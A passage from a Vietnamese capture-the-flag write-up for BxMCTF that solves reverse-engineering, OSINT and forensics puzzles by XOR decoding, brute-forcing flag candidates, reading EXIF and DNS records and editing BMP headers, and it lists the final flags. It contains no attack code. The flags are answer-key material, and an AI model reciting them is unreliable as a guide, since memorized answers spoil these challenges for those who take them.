'Y', 'N', '7', '8', '4', 'Y', 'N', 'R', 'Q', '7', 'O', '8', '1', '4', '9', 'R', 'Y', 'N', 'M', 'C', 'Q', '3', 'd', 'R', 'C', 'N', 'Y', '7', 'Q', 'O', 'I', '3', 'U', 'N', 'Y', 'C', 'H', 'R', 'I', 'L', 'U', 'H', 'I', 'L', 'W', 'A', 'H', 'E', 'R', 'U', '1', 'W', 'L', 'N', 'H', 'C', 'U', 'I', 'W', '4', 'A', 'N', 'Y', 'H', 'R', 'C', '4', 'A', 'O', '8', '7', '9', 'R', 'Y', 'N', '7', 'C', 'A', '8', 'Y', 'R', 'C', 'N', '7', '8', 'O', 'A', 'R', 'Y', 'C', 'o', '7', '8', '8', 'O', 'C', 'R', 'Y', 'N', 'M', 'A', 'C', '7', 'N', 'R', 'H', 'A', 'E', 'I', 'U', 'w', 'O', 'H', 'N', 'R', 'C', 'A', 'W', 'U', 'I', 'O', 'N', 'H', 'O', 'U', 'I', '3', '7', '8', '6', '2', '8', 'j', '2', '6', '7', '8', '9', '1', '6', '4', '7', '8', '9', 'n', '6', 'd', 'x', '9', '8', '7', '2', '3', 'n', 'y', '4', '7', '8', '2', 'y', 'x', 'e', '9', 'd', 'h', '2', '7', '3', '8', 'h', 'n', 'x', '7', '8', '9', '2', '1', '5', '4', '4', '6', 't', '4', '3', '7', '8', '9', '5', '1', '3', '9', '8', '7', 'p', 'P', 'c', 'n', 't', '5', 'y', '9', '3', '4', '7', 'd', 'n', '5', 't', 'y', 'c', '7', '8', '9', '3', '4', '6', 'c', '5', '9', '8', '7', '3', '2', '7', '9', 't', 'y', 'b', 'n', '9', 'p', '2', 'y', 'n', 'x', '9', 'o', '2', 'y', '3', 'r', 'y', 'n', 'd', 'f', '9', '8', 'o', 'r', '7', 'y', 'n', 'm', 'r', 'd', 'o', 'q', '8', '9', '7', 'y', 'n', 'm', 'd', 'r', 'o', '8', '9', 'q', '7', '3', '4', '2', 'd', 'r', 'y', 'n', 'm', 'o', '3', '2', 'q', '7', '8', '9', 'd', 'y', 'm', '4', 'o', 'q', '8', 'p', '9', 'r', 'n', 'y', 'm', 'f', 'o', 'j', '8', '9', '3', 'f', 'y', 'm', 'n', '7', '3', 'q', '8', '9', 'o', 'd', 'r', 'm', 'n', 'y', 'q', 'j', '2', '3', '8', '7', 'y', '7', '8', 'l', '5', 'y', 'q', '9', 'd', 'o', 'y', 'l', 'a', 'y', 'a', 'l', 'y', 'd', '9', '9', 'n', 'l', 'y', 'i', '7', 'N', '7', 'F', 'C', 'N', 'G', 'H', '3', 'I', 'W', 'Y' }; public static void main(String[] args) throws Exception { System.out.println("Welcome to the LMD Machine 3000!"); System.out.println("Please enter an integer: "); int input = readInt(); System.out.println(); if (input < 1 || input > table.length) { System.out.println("Invalid Input"); System.exit(0); } System.out.print("ctf{"); for (int i = 0, idx = 1; i < 15; ++i) { idx = (idx * input) % table.length; System.out.print(table[idx]); } System.out.println("}"); } static int readInt() {return FastReader.readInt();} static long readLong() {return FastReader.readLong();} static double readDouble() {return FastReader.readDouble();} static float readFloat() {return FastReader.readFloat();} static String readLine() {return FastReader.readLine();} static String next() {return FastReader.next();} static boolean readBool() {return FastReader.readBool();} static class FastReader extends PrintWriter { private final InputStream stream; private final byte[] buf = new byte[1 << 16]; private int curChar, numChars; public FastReader() {this(System.in, System.out);} public FastReader(InputStream i, OutputStream o) {super(o);stream = i;} public FastReader(String i, String o) throws IOException { super(new FileWriter(o)); stream = new FileInputStream(i); } private int readByte() { if (numChars == -1) {throw new InputMismatchException();} if (curChar >= numChars) { curChar = 0; try {numChars = stream.read(buf); }catch(Exception e){throw new InputMismatchException();} if (numChars == -1) {return -1;} } return buf[curChar++]; } public String next() { int c; do {c = readByte();} while (c <= ' '); StringBuilder res = new StringBuilder(); do {res.appendCodePoint(c);c = readByte();} while (c > ' '); return res.toString(); } public String readLine() { int c; do {c = readByte();} while (isEndLine(c)); StringBuilder res = new StringBuilder(); do {res.appendCodePoint(c);c = readByte();} while (c >= ' '); return res.toString(); } public int readInt() { int c, sgn = 1, res = 0; do {c = readByte();} while (c <= ' '); if (c == '-') {sgn = -1;c = readByte();} do { if (c < '0' || c > '9') {throw new InputMismatchException();} res = 10 * res + c - '0';c = readByte(); } while (c > ' '); return res * sgn; } /** * Psst * * https://drive.google.com/file/d/1oDDXyVxYHqdGB6H2bddUxbRL3z39SZb3/view?usp=sharing */ public double readDouble() {return Double.parseDouble(next());} public long readLong() {return Long.parseLong(next());} public float readFloat() {return Float.parseFloat(next());} public boolean readBool() {return Boolean.parseBoolean(next());} boolean isEndLine(int c) {return c == '\n' || c == '\r' || c == -1;} } } ``` - đoạn mã trên cho ta biết input ta sẽ nằm trong khoảng 0<1107 ![](https://hackmd.io/_uploads/BJcbRIsLh.png) >ta có thể copy cái table r dùng python đếm số ký tự - thì khi cho chạy source đưa input từ 0 đến 1106 ta sẽ có tương ứng 1107 cái flag khác nhau =))))) - ta sẽ viết code lưu 1107 cái flag vào 1 tệp .txt ```python table= [ 'd', 'y', 'n', 'm', 'r', '7', '2', '3', '9', '8', 'o', '2', 'm', 'n', 'y', 'l', 'r', 'f', '7', '4', '9', '0', '2', '3', 'q', 'y', 'n', 'd', '7', '8', '9', '4', '2', '3', 'y', 'd', '8', '9', 'o', 'q', '7', 's', 'n', 'g', 'y', 'u', 'i', '2', 'g', 'h', 'u', 'y', 'i', 'c', 'g', 'i', 'k', 'a', 'd', 'l', 'd', 'g', 'h', 'i', 'w', 'k', 'a', 'l', 'S', 'D', 'H', 'N', 'Q', 'O', '3', '2', '7', 'D', 'Q', '2', 'O', '8', 'G', 'D', 'H', '7', '8', 'O', '2', 'Q', 'D', 'N', 'G', 'W', 'U', 'A', 'K', 'D', 'G', 'H', 'X', 'K', 'J', 'S', 'A', 'G', 'D', '2', 'K', 'S', 'A', 'G', 'I', 'K', 'G', 'I', 'Y', 'K', 'G', 'I', 'K', '7', 'i', 'k', 'l', 'f', 'g', '3', 'i', 'k', 'r', 'g', 'f', '3', '8', 'o', '4', '7', 't', 'g', '3', '9', '8', 'o', 'f', 'g', 'o', '7', 'i', 'h', 'f', 'k', 'u', 'i', 'a', 'l', 'w', 'e', 'h', 'f', 'i', 'l', 'w', 'k', 'a', '}', 'h', 'x', 'w', 'l', 'a', 'u', 'k', 'f', 'x', 'n', 'h', 'e', 'a', 'o', 'i', 'u', 'h', 'x', 'f', 'g', 'a', 'w', 'i', 'o', 'u', 'y', 'g', 'h', 'e', 'a', 'w', '8', 'o', 'n', '7', '4', 'w', 'f', '8', 'o', 'n', 'w', 'q', 'g', '7', '8', 'o', '4', 'w', 'a', 'n', 'g', 'h', 'u', 'i', 'a', 'w', 'e', 'k', '0', 'l', 'f', 'b', 'x', 'c', 'j', 'k', 'a', 's', 'd', 'f', 'b', 'j', 'k', 'a', 's', 'e', 'f', 'k', 'j', 'a', '7', 'e', 'n', 'f', 'g', 'a', 'i', 'u', 'y', 'w', 'e', 'k', 'f', 'g', 'y', 'u', 'w', 'e', 'a', 'i', 'o', 'g', 'h', 'x', 'f', 'a', 'e', 'j', 'k', 'w', 'B', 'f', 'w', 'e', 'a', 'k', 'j', 'f', 'g', 'h', 'a', 'w', '7', 'g', 'v', 'a', 'w', 'u', 'b', 't', '3', '2', 'q', '6', '7', '8', 'd', 't', 'b', '3', 'q', '6', '8', 'o', '4', 't', 'q', '7', '8', 'o', 'i', '3', 't', 'r', 'o', '8', 'c', '7', 'b', 't', '3', '5', 'p', '9', 'q', 't', 'y', '5', 'c', '7', '1', 'b', 'r', 't', 'c', 'y', '2', '7', '1', '8', 'f', '2', '7', '1', '8', '9', '0', '7', 'n', 'y', '0', '9', '8', 'y', 'm', 'r', '8', '9', '2', 'm', 'c', '0', '9', '2', 'y', 'i', 'o', 'h', 'u', 'i', 'w', 'h', 'i', 'l', 'w', 'n', 'h', 'r', 'i', 'u', 'w', 'e', 'k', 'l', 'h', 'n', '8', '2', '7', '0', '3', 'n', 'y', 'r', '7', '4', 'j', '3', 'y', 'n', 'r', '7', '8', '3', 'n', 'g', 'h', 'c', 'e', '7', 'u', 'n', 'g', 'c', 'h', 'o', '3', '7', 'i', '4', 'y', 'h', 'r', 'o', 'i', 'u', 'w', 'e', 'h', 'r', 'i', 'o', 'w', 'n', 'r', 'u', 'w', 'e', 'i', 'r', 'h', 'n', 'w', 'o', 'u', 'i', 'e', 'n', 'h', 'r', 'i', 'u', 'i', '3', 'e', 'w', 'n', 'h', 'u', 'i', 'w', 'o', 'h', 'c', 'm', 'r', '7', '8', '4', 'n', 'y', '3', '7', '9', '8', '4', '4', '5', '4', '4', '6', 't', '4', '3', '7', '8', '9', '5', '6', '3', '9', '8', '7', 'c', 'n', 't', '5', 'y', '9', '3', '4', '7', '8', 'n', '5', 't', 'y', 'c', '7', '8', '9', '3', '4', '6', 'c', '5', '9', '8', '7', '3', '2', '7', '9', 't', 'y', 'b', 'n', '9', 'p', '2', 'y', 'n', 'x', '9', '1', '2', 'y', '3', 'r', 'y', 'n', 'd', 'f', '9', '8', 'o', 'r', '7', 'y', 'n', 'm', 'r', 'd', 'o', 's', '8', '9', '7', 'y', 'n', 'm', 'd', 'r', 'o', 'h', '9', 'q', '7', '0', '4', '2', 'd', 'r', 'y', 'n', 'm', '9', '3', '2', 'q', '7', '8', '9', 'd', 'y', 'm', '4', 'o', 'q', '8', 't', '9', 'r', 'n', 'y', 'm', 'f', 'o', 'q', '8', '9', '3', 'f', 'y', 'm', 'n', 'y', '3', 'q', '8', '}', 'o', 'd', 'r', 'm', 'n', 'y', 'q', '9', '2', '3', '8', '7', 'y', '7', '8', '9', '5', 'y', 'q', '9', 'd', 'o', 'y', 'l', 'a', 'y', 'a', 'l', 'y', 'd', '9', 'y', 'n', 'l', 'y', 'i', '7', 'N', '7', 'F', 'C', 'N', 'G', 'H', '3', 'I', 'W', 'Y', 'U', 'T', 'G', 'N', '3', 'I', '7', 'f', '4', 'T', 'G', '8', '7', '3', '6', 'I', 'W', 'T', '5', 'Y', '7', '8', 'W', '3', '4', 'O', 'N', 'F', 'C', 'B', 'O', 'd', '3', '7', 'N', 'Y', 'F', 'R', '4', 'N', '7', 'U', 'I', 'Y', 'E', 'K', 'L', 'S', 'H', 'A', 'I', 'U', 'H', 'E', 'R', 'F', 'U', 'A', 'I', 'W', 'K', 'R', 'N', 'o', 'F', 'H', 'A', 'O', '7', '8', '4', 'Y', '7', 'O', '8', 'Y', '7', '8', 'O', 'Y', 'N', '7', '8', '4', 'Y', 'N', 'R', 'Q', '7', 'O', '8', '1', '4', '9', 'R', 'Y', 'N', 'M', 'C', 'Q', '3', 'd', 'R', 'C', 'N', 'Y', '7', 'Q', 'O', 'I', '3', 'U', 'N', 'Y', 'C', 'H', 'R', 'I', 'L', 'U', 'H', 'I', 'L', 'W', 'A', 'H', 'E', 'R', 'U', '1', 'W', 'L', 'N', 'H', 'C', 'U', 'I', 'W', '4', 'A', 'N', 'Y', 'H', 'R', 'C', '4', 'A', 'O', '8', '7', '9', 'R', 'Y', 'N', '7', 'C', 'A', '8', 'Y', 'R', 'C', 'N', '7', '8', 'O', 'A', 'R', 'Y', 'C', 'o', '7', '8', '8', 'O', 'C', 'R', 'Y', 'N', 'M', 'A', 'C', '7', 'N', 'R', 'H', 'A', 'E', 'I', 'U', 'w', 'O', 'H', 'N', 'R', 'C', 'A', 'W', 'U', 'I', 'O', 'N', 'H', 'O', 'U', 'I', '3', '7', '8', '6', '2', '8', 'j', '2', '6', '7', '8', '9', '1', '6', '4', '7', '8', '9', 'n', '6', 'd', 'x', '9', '8', '7', '2', '3', 'n', 'y', '4', '7', '8', '2', 'y', 'x', 'e', '9', 'd', 'h', '2', '7', '3', '8', 'h', 'n', 'x', '7', '8', '9', '2', '1', '5', '4', '4', '6', 't', '4', '3', '7', '8', '9', '5', '1', '3', '9', '8', '7', 'p', 'P', 'c', 'n', 't', '5', 'y', '9', '3', '4', '7', 'd', 'n', '5', 't', 'y', 'c', '7', '8', '9', '3', '4', '6', 'c', '5', '9', '8', '7', '3', '2', '7', '9', 't', 'y', 'b', 'n', '9', 'p', '2', 'y', 'n', 'x', '9', 'o', '2', 'y', '3', 'r', 'y', 'n', 'd', 'f', '9', '8', 'o', 'r', '7', 'y', 'n', 'm', 'r', 'd', 'o', 'q', '8', '9', '7', 'y', 'n', 'm', 'd', 'r', 'o', '8', '9', 'q', '7', '3', '4', '2', 'd', 'r', 'y', 'n', 'm', 'o', '3', '2', 'q', '7', '8', '9', 'd', 'y', 'm', '4', 'o', 'q', '8', 'p', '9', 'r', 'n', 'y', 'm', 'f', 'o', 'j', '8', '9', '3', 'f', 'y', 'm', 'n', '7', '3', 'q', '8', '9', 'o', 'd', 'r', 'm', 'n', 'y', 'q', 'j', '2', '3', '8', '7', 'y', '7', '8', 'l', '5', 'y', 'q', '9', 'd', 'o', 'y', 'l', 'a', 'y', 'a', 'l', 'y', 'd', '9', '9', 'n', 'l', 'y', 'i', '7', 'N', '7', 'F', 'C', 'N', 'G', 'H', '3', 'I', 'W', 'Y'] s="" file = open("output.txt", "w") for input_ in range(1,len(table)+1): idx=1 s+="ctf{" for i in range(0,15): idx = (idx * input_) % len(table) s+=(table[idx]) s+="}" file.write(str(input_)+ " "+s+"\n") s="" file.close() ``` - ngoài ra trong source mình decode ra có 1 đường dẫn cho ta hint - mà đường dẫn đó lại cho ta thêm 1 loại mã hoá - decode ta được: ```txt Roses are red, Violets are blue, If one wants to pick the correct flag, Then they should seek the Unix Epoch as a clue ``` - hint cũng chưa rõ lắm - sau 1 thời gian thì tác giả lại cho thêm hint: ```txt The hint points to the year of the thing everyone should seek as a clue. ``` - lúc này lờ mờ đoán được sẽ liên quan đến con số 1970 (con số Unix Epoch - gọi cách khác là Unix Time) - thì trong file flag.txt chứa 1107 cái flag, ta ctrl+F tìm ``1970`` thì có đúng 1 flag này dính - submit luôn > FLAG: ctf{hjwilj111970djs} --- ### x86? - Check file và chạy thử ![Screenshot from 2023-06-04 03-57-21](https://github.com/nguyenvandat123/flag/assets/127211886/87d9d9c7-1ebd-44e6-a0a6-ad9f50154430) - Khái quát sơ thử thách này: đây là một thử thách có vẻ không khó lắm, thử thách yêu cầu nhập `password` đúng (có lẽ đó là flag). - Tôi sẽ sử dụng công cụ IDA để giải quyết: - Load file vào IDA và như thường lệ tôi sẽ check xem những `strings` được sử dụng, từ đó xem chúng như là gợi ý tìm đến đoạn code trọng tâm để dễ dàng giải quyết vấn đề ![image](https://github.com/nguyenvandat123/flag/assets/127211886/f59c7196-d5ed-4c59-a025-8151114934fc) ![image](https://github.com/nguyenvandat123/flag/assets/127211886/4275a53a-9ef6-48bd-ad07-163a835189bc) - Thật thất vọng không đúng như dự đoán trước đó:)))), tôi đã không tìm được đoạn code chứa chuỗi `Incorrect password` - Hướng giải khác, tôi tìm hàm `main` và xem chúng làm những gì: - Bằng những thao tác đơn giản tôi tìm được đoạn mã (vì đoạn mã asm khá dài nên tôi sẽ viết lại bằng code c++): - Thử thách: ```cpp #include <iostream> #include <string> using namespace std; int main() { const unsigned char hexString[] = { 0x0, 0x63, 0x17, 0x71, 0x0A, 0x3E, 0x50, 0x24, 0x15, 0x4A, 0x2E, 0x1F, 0x6C, 0x58, 0x2B, 0x46, 0x19, 0x74, 0x47, 0x73, 0x00, 0x75, 0x07, 0x34, 0x47, 0x18, 0x7E, 0x0A, 0x7D, 0x0 }; int length = sizeof(hexString) / sizeof(hexString[0]); string input; cout<<"Enter the password:"<<endl; cin>>input; for (int i=0;i<length-1;i++) { if (char(hexString[i]^hexString[i+1])!=input[i]) { cout<<"Incorrect password"<<endl; return 0; } } cout<<"That's correct!"; return 0; } ``` - Giải quyết: ```cpp #include <iostream> #include <string> using namespace std; int main() { const unsigned char hexString[] = { 0x0, 0x63, 0x17, 0x71, 0x0A, 0x3E, 0x50, 0x24, 0x15, 0x4A, 0x2E, 0x1F, 0x6C, 0x58, 0x2B, 0x46, 0x19, 0x74, 0x47, 0x73, 0x00, 0x75, 0x07, 0x34, 0x47, 0x18, 0x7E, 0x0A, 0x7D, 0x0 }; int length = sizeof(hexString) / sizeof(hexString[0]); string output=""; for (int i=0;i<length-1;i++) { output+=char(hexString[i]^hexString[i+1]); } cout<<output; return 0; } ``` > FLAG: ctf{4nt1_d1s4sm_m34sur3s_ftw} --- ### MCV5U - Thử thách này cần được cải tiến để có thể giảm thời gian chạy qua đó thu về được flag. - Giải pháp: ```python import hashlib from functools import lru_cache from time import time import math SIZE: int = 300000 VERIFY_KEY: str = "46e1b8845b40bc9d977b8932580ae44c" # Fast Fourier Transform def padding(arr: list[int], target_length: int) -> list[int]: padded: list[int] = arr + [0] * (target_length - len(arr)) return padded def fft(arr: list[complex]) -> list[complex]: n: int = len(arr) if n <= 1: return arr even: list[complex] = fft(arr[0::2]) odd: list[complex] = fft(arr[1::2]) twiddle_factor: list[complex] = [ math.cos(2 * math.pi * k / n) - 1j * math.sin(2 * math.pi * k / n) for k in range(n // 2) ] transformed: list[complex] = [ even[i] + twiddle_factor[i] * odd[i] for i in range(n // 2) ] + [even[i] - twiddle_factor[i] * odd[i] for i in range(n // 2)] return transformed # inverse fft def ifft(arr: list[int]) -> list[complex]: n = len(arr) conjugate: list[complex] = [complex(i.real, -i.imag) for i in arr] transformed: list[complex] = fft(conjugate) inverse: list[complex] = [complex(i.real, -i.imag) / n for i in transformed] return inverse @lru_cache(maxsize=None) def Faster(n: int) -> int: global A, B # make length equal to a power of 2 powerOfTow: int = int(2 ** math.ceil(math.log2(n * 2 - 1))) first: list[int] = padding(A, powerOfTow) second: list[int] = padding(B, powerOfTow) # Apply FFT fft1: list[complex] = fft(first) fft2: list[complex] = fft(second) FFT: list[complex] = [a * b for a, b in zip(fft1, fft2)] # multiply Them ANS: list[complex] = ifft(FFT) # inverse FFT Target: int = n * 2 - 1 ANS: list[complex] = ANS[:Target] val: int = int(sum([i.real for i in ANS[:Target]])) return val A: list[int] = [0] * SIZE B: list[int] = [0] * SIZE document1 = open("Document 1.txt", "r") nums1: list[str] = document1.readlines() document1.close() idx: int = 0 for num in nums1: A[idx] = int(num.strip()) idx += 1 document2 = open("Document 2.txt", "r") nums2: list[str] = document2.readlines() document2.close() idx: int = 0 for num in nums2: B[idx] = int(num.strip()) idx += 1 assert len(A) == len(B) begin: float = time() val: int = Faster(SIZE) print(f"SUM = {val}") end: float = time() print(f"TIME EXECUTION = {end-begin}") val: str = str(val) md5: str = hashlib.md5(val.encode()).hexdigest() print(f"md5 = {md5}") assert md5 == VERIFY_KEY, "NOPE" key: str = str(hashlib.sha256(val.encode()).digest()) print(f"GG THE KEY IS => {key}") flag: str = ( "ctf{" + "".join(list([x for x in key if x.isalpha() or x.isnumeric()])) + "}" ) print(f"FLAG IS => {flag}") print("TIME COMPLEXITY => O(N*log(N))") //trích nguồn "mohammad olimat" 11:29 5/6/2023 ``` ![](https://hackmd.io/_uploads/HJCjBohL3.png) > FLAG: ctf{bx8b2xdcx80x8bxafx90x16x0fxc9Cx87x99Gx8cx1dxb9x8exb4xfaLx93xcfx9dxcfyx13xb5Lxee} --- ### ICS5U - Decode tệp dữ liệu (sử dụng base32) ta được gợi ý: *I wonder... what are the first four numbers of the same type as in "puzzle.php" that are greater than 1 trillion...* - Vậy chỉ cần tìm được 4 số thỏa mãn điều kiện theo gợi ý...Ở đây tôi sẽ gợi ý cho bạn 4 số đó là: - 1000151515441 - 1000321709401 - 1000642078801 - 1001102784001 > FLAG: ctf{2029395652961987395} --- ## GENERAL ### Survey ![](https://hackmd.io/_uploads/Hy7_Sew8h.png) >FLAG: ctf{h0p3_u_3nj0y3d} --- ### Welcome to BxMCTF! - Bài này cho trẻ em chơi vô chall là thấy cờ > FLAG:ctf{check_out_our_sponsors!} --- ### New Website - Chall cho ta 1 web lỗi như sau :DNS_PROBE_FINISHED_NXDOMAIN ![](https://hackmd.io/_uploads/rkusXNOU2.png) - thì suy ra tìm trong các bản ghi dns thôi: ![](https://hackmd.io/_uploads/ryiZNV_Lh.png) > FLAG:ctf{w41t_wh4ts_4_txt_r3c0rd} --- ### GeoGuessr IRL - đề cho ta 1 hình - lên gg lens tìm: ![](https://hackmd.io/_uploads/SksE57wL3.png) >hint: cầu brooklyn - mô tả: ``` Geoguessr's NMPZ tolerances are way too loose. It's supposed to be the hardest mode, but they need a devil difficulty: you can be over 40 meters away and still get a perfect score of 5000! In this challenge, 40+ meters is no more. If NMPZ was hard, this is devil mode. You must be precise to 3 meters. Find the what3words location of this photo and wrap it with ctf{}. For example, if the words are apple.pear.peach, submit ctf{apple.pear.peach}. ``` - [link web 3 chữ](https://what3words.com/) - sau 1 hồi căng mắt tìm kiếm và brute flag thì dc kết quả này ![](https://hackmd.io/_uploads/BJZUoXDI3.png) [👉link](https://what3words.com/happen.system.privately) > FLAG: ctf{happen.system.privately} --- ## FORENSICS ### Selfie - Chall đưa cho ta 1 cái hình như thế này ![](https://hackmd.io/_uploads/Skt8UbDIn.png) - Nhìn giống thằng @wan vãi ò :v: - Ta dùng exiftool để lấy infor anh @wan ![](https://hackmd.io/_uploads/rJ5jUWvLh.png) - Ta thu được ``License: Y3Rme25xaUoyQnQyaVZEa2d6fQ`` - Decode Base64 là thu được flag thuiiii ![](https://hackmd.io/_uploads/rJd1wbw8h.png) > FLAG: ctf{nqiJ2Bt2iVDkgz} ___ ### Street View - đề cho ta 1 file hình ảnh ![BxMCTF-Foren-2](https://github.com/wan-hyhty/CTFs_competition/assets/111769169/34265e36-73a6-4028-aad9-9fc4920e5a31) - theo thói quen mở exiftool - và nhận đc 2 dòng số có vẻ giống toạ độ ![](https://hackmd.io/_uploads/H1S-GEO82.png) ![](https://hackmd.io/_uploads/BkOzmEuL3.png) >dùng tool online tự convert cho mình kkk > [link tool](https://exif.tools/#upload) - lên gg map paste toạ độ đó vô và nhận được hình ảnh 3 chiều y hệt hình ảnh ![](https://hackmd.io/_uploads/rytHrEuUh.png) - [location](https://www.google.com/maps/@43.8772239,-79.4090736,3a,75y,77.05h,59.56t/data=!3m6!1e1!3m4!1s5g15RcBXKj6U2LvLyn3B-g!2e0!7i16384!8i8192?entry=ttu) - flag ta cần là 1 domain của công ty sở hữu toà nhà đó ``` Submit the domain name of the company that owns the building as the flag, wrapped in ctf{} ``` ![](https://hackmd.io/_uploads/SymjSNuUh.png) > FLAG: ``ctf{walmart.ca}`` --- ### Secrets - Chall đưa cho ta 1 file .bmp, nếu mở bằng Win bình thường thì sẽ không được hỗ trợ, nên bạn phải mở bằng [Photopea](https://www.photopea.com/) - Mở trên đó, ta thấy được 1 ảnh ![](https://hackmd.io/_uploads/HyB3wWDI3.png) - Hurray :v: FLag chính là ``ctf{totally_the_correct_flag}`` - Lừa thui iem ơi, flag thực sự là ở ngoài cái ảnh này, và ta cần phải thay đổi lại kích thước của ảnh gốc bằng cách lên [Hexedit](https://hexed.it/) để thay đổi ![](https://hackmd.io/_uploads/SkxSObPI2.png) - Ta cần phải thay đổi giá trị của F4 và 01, để thay đổi kích thước. Ta cho luôn là C6 02 để thu được 1 ảnh hình vuông có các cạnh bằng nhau - Sau đó mở lại trên Photopea thui ![](https://hackmd.io/_uploads/Bka5dbwLn.png) - Đây mới chính là ảnh gốc thực sự hihi :v - Bạn cũng có thể tham khảo wu khác [ở đây](https://picoctf2021.haydenhousen.com/forensics/tunn3l-v1s10n) > FLAG: ctf{1m4g3_s3cr3ts} ---